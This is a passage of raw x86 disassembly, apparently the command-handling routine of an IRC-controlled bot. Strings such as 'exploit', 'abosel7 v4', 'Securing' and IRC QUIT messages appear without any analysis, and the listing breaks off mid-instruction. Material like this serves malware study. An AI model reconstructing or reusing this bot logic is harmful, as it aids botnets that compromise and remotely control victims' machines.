loc_403C43 push edi call sub_41B779 test eax, eax pop ecx jz short loc_403C43 push edi call sub_41B779 pop ecx jmp short loc_403C48 ; --------------------------------------------------------------------------- loc_403C43: ; CODE XREF: sub_401ACD+2160j ; sub_401ACD+216Bj mov eax, dword_42907C loc_403C48: ; CODE XREF: sub_401ACD+2174j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7B lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA6 ; --------------------------------------------------------------------------- loc_403C7B: ; CODE XREF: sub_401ACD+219Bj lea eax, [ebp+var_4FF4] push 104h push eax nop call near ptr 2670A87h push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA6: ; CODE XREF: sub_401ACD+21ACj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD1 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD1: ; CODE XREF: sub_401ACD+21EEj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BE14 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D5 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_403D85 loc_403D73: ; CODE XREF: sub_401ACD+22B6j cmp [ebp+var_36AC], ebx jnz short loc_403DA0 push 32h nop call near ptr 2670F10h jmp short loc_403D73 ; --------------------------------------------------------------------------- loc_403D85: ; CODE XREF: sub_401ACD+22A4j nop call near ptr 26807C8h push eax push offset unk_42BDD8 loc_403D91: ; CODE XREF: sub_401ACD+2419j ; sub_401ACD+4D04j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA0: ; CODE XREF: sub_401ACD+22ACj ; sub_401ACD+23FDj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push edi jmp loc_407285 ; --------------------------------------------------------------------------- loc_403DB0: ; CODE XREF: sub_401ACD+1B11j ; sub_401ACD+1B26j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DCF push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DCF push edi call sub_41B779 pop ecx jmp short loc_403DD4 ; --------------------------------------------------------------------------- loc_403DCF: ; CODE XREF: sub_401ACD+22ECj ; sub_401ACD+22F7j mov eax, dword_429080 loc_403DD4: ; CODE XREF: sub_401ACD+2300j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEB lea eax, [ebp+var_C4] loc_403DEB: ; CODE XREF: sub_401ACD+2316j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0D mov esi, offset dword_43D158 loc_403E0D: ; CODE XREF: sub_401ACD+2339j push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BD9C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset byte_410A4D push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_403EDA loc_403EC4: ; CODE XREF: sub_401ACD+240Bj cmp [ebp+var_180C], ebx jnz loc_403DA0 push 32h nop call near ptr 2670F10h jmp short loc_403EC4 ; --------------------------------------------------------------------------- loc_403EDA: ; CODE XREF: sub_401ACD+23F5j nop call near ptr 26807C8h push eax push offset unk_42BD60 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j ; sub_401ACD+1AFCj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFE push esi call sub_41B779 jmp short loc_403F05 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401ACD+2427j push 0Bh call sub_40B35D loc_403F05: ; CODE XREF: sub_401ACD+242Fj cmp eax, ebx pop ecx jz loc_409854 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA56 jmp loc_4043B9 ; --------------------------------------------------------------------------- loc_403F25: ; CODE XREF: sub_401ACD+1ABDj ; sub_401ACD+1AD2j mov eax, dword_4CAEC0 cmp eax, ebx jz short loc_403F42 call eax test eax, eax jz short loc_403F3B push offset unk_42BD3C jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F3B: ; CODE XREF: sub_401ACD+2465j push offset unk_42BD10 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F42: ; CODE XREF: sub_401ACD+245Fj push offset unk_42BCE4 loc_403F47: ; CODE XREF: sub_401ACD+246Cj ; sub_401ACD+2473j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDB ; --------------------------------------------------------------------------- loc_403F5D: ; CODE XREF: sub_401ACD+1A93j ; sub_401ACD+1AA8j call sub_40AB31 test eax, eax jz short loc_403F6D push offset unk_42BCC0 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F6D: ; CODE XREF: sub_401ACD+2497j push offset unk_42BC94 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F74: ; CODE XREF: sub_401ACD+1A69j ; sub_401ACD+1A7Ej cmp [ebp+var_8], ebx jnz short loc_403F93 push ebx push [ebp+var_4] push offset dword_42BC7C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403F93: ; CODE XREF: sub_401ACD+24AAj push ebx push [ebp+var_4] call sub_4181D6 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BC60 jmp loc_404285 ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_401ACD+18F9j ; sub_401ACD+190Ej push 0Ah call sub_40B33E test eax, eax pop ecx jle short loc_403FCB push offset unk_42BC34 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FCB: ; CODE XREF: sub_401ACD+24F2j push [ebp+var_88] push [ebp+arg_4] call sub_419C64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEA push offset unk_42BC0C jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FEA: ; CODE XREF: sub_401ACD+2511j push offset unk_42BBEC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FF4: ; CODE XREF: sub_401ACD+18CFj ; sub_401ACD+18E4j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CE jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400D: ; CODE XREF: sub_401ACD+18A5j ; sub_401ACD+18BAj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C28 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402A: ; CODE XREF: sub_401ACD+187Bj ; sub_401ACD+1890j or edi, 0FFFFFFFFh nop call near ptr 26905FEh xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404053 push esi call sub_41B779 pop ecx mov edi, eax loc_404053: ; CODE XREF: sub_401ACD+257Bj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406C cmp edi, 0FFFFFFFFh jnz loc_409854 loc_40406C: ; CODE XREF: sub_401ACD+2594j push ebx call sub_41A88B pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BBD4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_4040AA: ; CODE XREF: sub_401ACD+529Cj add esp, 24h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: sub_401ACD+1851j ; sub_401ACD+1866j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A2F add esp, 0Ch push offset dword_42BBB4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_4040D0: ; CODE XREF: sub_401ACD+1827j ; sub_401ACD+183Cj push 27h call sub_40B33E test eax, eax pop ecx jle short loc_404104 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42BB94 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_4040FC: ; CODE XREF: sub_401ACD+7237j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: sub_401ACD+260Dj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404165 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404165 mov [ebp+var_AA8], 1 loc_404165: ; CODE XREF: sub_401ACD+267Bj ; sub_401ACD+268Cj lea eax, [ebp+var_2C4] push offset dword_42BB70 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EB push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4041D3 loc_4041BD: ; CODE XREF: sub_401ACD+2704j cmp [ebp+var_A9C], ebx jnz loc_409630 push 32h nop call near ptr 2670F10h jmp short loc_4041BD ; --------------------------------------------------------------------------- loc_4041D3: ; CODE XREF: sub_401ACD+26EEj call near ptr 26807C8h nop push eax lea eax, [ebp+var_2C4] push offset unk_42BB34 push eax call sub_41B886 add esp, 0Ch jmp loc_409630 ; --------------------------------------------------------------------------- loc_4041F3: ; CODE XREF: sub_401ACD+17FDj ; sub_401ACD+1812j cmp [ebp+var_8], ebx jnz short loc_404212 push ebx push [ebp+var_4] push offset dword_42BB18 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404212: ; CODE XREF: sub_401ACD+2729j push [ebp+arg_4] call dword_4CB03C call dword_4CAEFC call sub_418359 push ebx nop call near ptr 77E75CB5h loc_40422D: ; CODE XREF: sub_401ACD+17D3j ; sub_401ACD+17E8j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA42 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAFC jmp short loc_404285 ; --------------------------------------------------------------------------- loc_404258: ; CODE XREF: sub_401ACD+17A9j ; sub_401ACD+17BEj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAE0 loc_404285: ; CODE XREF: sub_401ACD+24E3j ; sub_401ACD+2789j call sub_4151AC add esp, 18h jmp loc_409854 ; --------------------------------------------------------------------------- loc_404292: ; CODE XREF: sub_401ACD+177Fj ; sub_401ACD+1794j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524C jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AB: ; CODE XREF: sub_401ACD+1755j ; sub_401ACD+176Aj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EA mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EA push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EA push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EA: ; CODE XREF: sub_401ACD+27E7j ; sub_401ACD+27F2j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42BAC8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset byte_41528D push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40438D loc_404377: ; CODE XREF: sub_401ACD+28BEj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h call near ptr 2670F10h nop jmp short loc_404377 ; --------------------------------------------------------------------------- loc_40438D: ; CODE XREF: sub_401ACD+28A8j nop call near ptr 26807C8h push eax push offset unk_42BA90 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_401ACD+172Bj ; sub_401ACD+1740j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415134 push offset dword_42BA78 call sub_4151AC loc_4043B9: ; CODE XREF: sub_401ACD+2453j add esp, 10h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4043C1: ; CODE XREF: sub_401ACD+1701j ; sub_401ACD+1716j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441B push offset dword_42BA74 push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441B: ; CODE XREF: sub_401ACD+2932j mov [ebp+var_B40], ebx loc_404421: ; CODE XREF: sub_401ACD+294Cj lea eax, [ebp+var_2C4] push offset dword_42BA54 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset byte_40B161 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40448F loc_404479: ; CODE XREF: sub_401ACD+29C0j cmp [ebp+var_B34], ebx jnz loc_406CFF push 32h nop call near ptr 2670F10h jmp short loc_404479 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: sub_401ACD+29AAj call near ptr 26807C8h nop push eax push offset unk_42BA18 jmp loc_409226 ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: sub_401ACD+1685j ; sub_401ACD+169Aj push offset aDark ; "Dark" push offset dword_42BA00 loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_406CFF ; --------------------------------------------------------------------------- loc_4044D7: ; CODE XREF: sub_401ACD+165Bj ; sub_401ACD+1670j push dword_4CACE4 call sub_41A88B pop ecx push eax push offset unk_42B9D4 jmp short loc_4044AA ; --------------------------------------------------------------------------- loc_4044EB: ; CODE XREF: sub_401ACD+1631j ; sub_401ACD+1646j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451D cmp [ebp+var_C], ebx jz short loc_40452C push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452C push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch jmp short loc_40452C ; --------------------------------------------------------------------------- loc_40451D: ; CODE XREF: sub_401ACD+2A27j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2C pop ecx pop ecx loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj ; sub_401ACD+2A3Bj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404533: ; CODE XREF: sub_401ACD+1607j ; sub_401ACD+161Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B984 call sub_4151AC add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404555: ; CODE XREF: sub_401ACD+15DDj ; sub_401ACD+15F2j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B950 call sub_4151AC add esp, 0Ch jmp loc_4097B9 ; --------------------------------------------------------------------------- loc_404574: ; CODE XREF: sub_401ACD+15B3j ; sub_401ACD+15C8j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DA jmp loc_404933 ; --------------------------------------------------------------------------- loc_40458A: ; CODE XREF: sub_401ACD+1589j ; sub_401ACD+159Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B785 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045A0: ; CODE XREF: sub_401ACD+155Fj ; sub_401ACD+1574j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B719 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045B6: ; CODE XREF: sub_401ACD+1535j ; sub_401ACD+154Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64A jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: sub_401ACD+1490j ; sub_401ACD+14A5j push [ebp+esi+var_8C] push 27h push offset dword_42B940 push offset dword_42B930 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_401ACD+1466j ; sub_401ACD+147Bj push [ebp+esi+var_8C] push 24h push offset dword_42B924 push offset dword_42B914 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045FC: ; CODE XREF: sub_401ACD+1082j ; sub_401ACD+1097j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461B push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461B push edi call sub_41B779 pop ecx jmp short loc_404620 ; --------------------------------------------------------------------------- loc_40461B: ; CODE XREF: sub_401ACD+2B38j ; sub_401ACD+2B43j mov eax, dword_429074 loc_404620: ; CODE XREF: sub_401ACD+2B4Cj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404645 push esi loc_404632: ; CODE XREF: sub_401ACD+2B87j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465C ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: sub_401ACD+2B62j cmp [ebp+var_8FF], bl jz short loc_404656 lea eax, [ebp+var_C4] push eax jmp short loc_404632 ; --------------------------------------------------------------------------- loc_404656: ; CODE XREF: sub_401ACD+2B7Ej mov [ebp+var_5A0], bl loc_40465C: ; CODE XREF: sub_401ACD+2B76j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42B8EC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset byte_4111CD push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40470D loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h nop call near ptr 2670F10h jmp short loc_4046F7 ; --------------------------------------------------------------------------- loc_40470D: ; CODE XREF: sub_401ACD+2C28j nop call near ptr 26807C8h push eax push offset dword_42B8B0 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471E: ; CODE XREF: sub_401ACD+1018j ; sub_401ACD+102Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473E push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473E push esi call sub_41B779 pop ecx jmp short loc_404744 ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj ; sub_401ACD+2C66j mov ax, word_429084 loc_404744: ; CODE XREF: sub_401ACD+2C6Fj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42B884 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A72 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F6 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset byte_40E503 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_404813 loc_4047FD: ; CODE XREF: sub_401ACD+2D44j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h nop call near ptr 2670F10h jmp short loc_4047FD ; --------------------------------------------------------------------------- loc_404813: ; CODE XREF: sub_401ACD+2D2Ej nop call near ptr 26807C8h push eax push offset unk_42B844 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404824: ; CODE XREF: sub_401ACD+FC4j ; sub_401ACD+FD9j ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484C push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404856 loc_40484C: ; CODE XREF: sub_401ACD+2D66j mov [ebp+var_A10], 1 loc_404856: ; CODE XREF: sub_401ACD+2D7Dj push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489D mov eax, offset aUnsecuring ; "Unsecuring" loc_40489D: ; CODE XREF: sub_401ACD+2DC9j push eax push offset dword_42B810 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E19 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_404911 loc_4048FB: ; CODE XREF: sub_401ACD+2E42j cmp [ebp+var_A04], ebx jnz loc_4083BC push 32h call near ptr 2670F10h nop jmp short loc_4048FB ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+2E2Cj nop call near ptr 26807C8h push eax push offset dword_42B7D4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_404922: ; CODE XREF: sub_401ACD+F9Aj ; sub_401ACD+FAFj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AE loc_404933: ; CODE XREF: sub_401ACD+2AB8j ; sub_401ACD+2ACEj ... add esp, 0Ch jmp loc_409854 ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_401ACD+F70j ; sub_401ACD+F85j push offset unk_42B724 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_404945: ; CODE XREF: sub_401ACD+F46j ; sub_401ACD+F5Bj push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42B714 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_404954: ; CODE XREF: sub_401ACD+F1Cj ; sub_401ACD+F31j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AE push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A6 cmp eax, 3 jge short loc_4049A6 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499E lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42C9F0 push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828B ; --------------------------------------------------------------------------- loc_40499E: ; CODE XREF: sub_401ACD+2EB0j push eax push offset unk_42B6E8 jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj ; sub_401ACD+2EA0j push eax push offset unk_42B6BC jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049AE: ; CODE XREF: sub_401ACD+2E90j mov edi, [ebp+arg_18] xor esi, esi loc_4049B3: ; CODE XREF: sub_401ACD+2F02j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D6 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B3 jmp loc_40828B ; --------------------------------------------------------------------------- loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42C9F0 loc_4049EB: ; CODE XREF: sub_401ACD+2152j ; sub_401ACD+2ED7j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408288 ; --------------------------------------------------------------------------- loc_4049FC: ; CODE XREF: sub_401ACD+EF2j ; sub_401ACD+F07j push [ebp+var_8C] push offset dword_42C964 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A5 call sub_40B2BF push ebx nop call near ptr 77E75CB5h loc_404A22: ; CODE XREF: sub_401ACD+1A11j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB0 cmp dword_4CE758, ebx jz short loc_404A4A push offset dword_4CE138 loc_404A40: ; CODE XREF: sub_401ACD+2FE1j push offset unk_42B680 jmp loc_404AE0 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] nop call near ptr 71AB157Eh movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A40 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_401ACD+2F64j push esi call dword_4CAFE4 cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC4 push offset unk_42B640 jmp short loc_404AE0 ; --------------------------------------------------------------------------- loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj push offset dword_4CE138 call sub_41BEB0 pop ecx mov dword_4CE758, 1 pop ecx push esi push offset unk_42B614 loc_404AE0: ; CODE XREF: sub_401ACD+2F78j ; sub_401ACD+2FF5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FD ; --------------------------------------------------------------------------- loc_404AF4: ; CODE XREF: sub_401ACD+19F9j push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF7 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push edi push eax mov 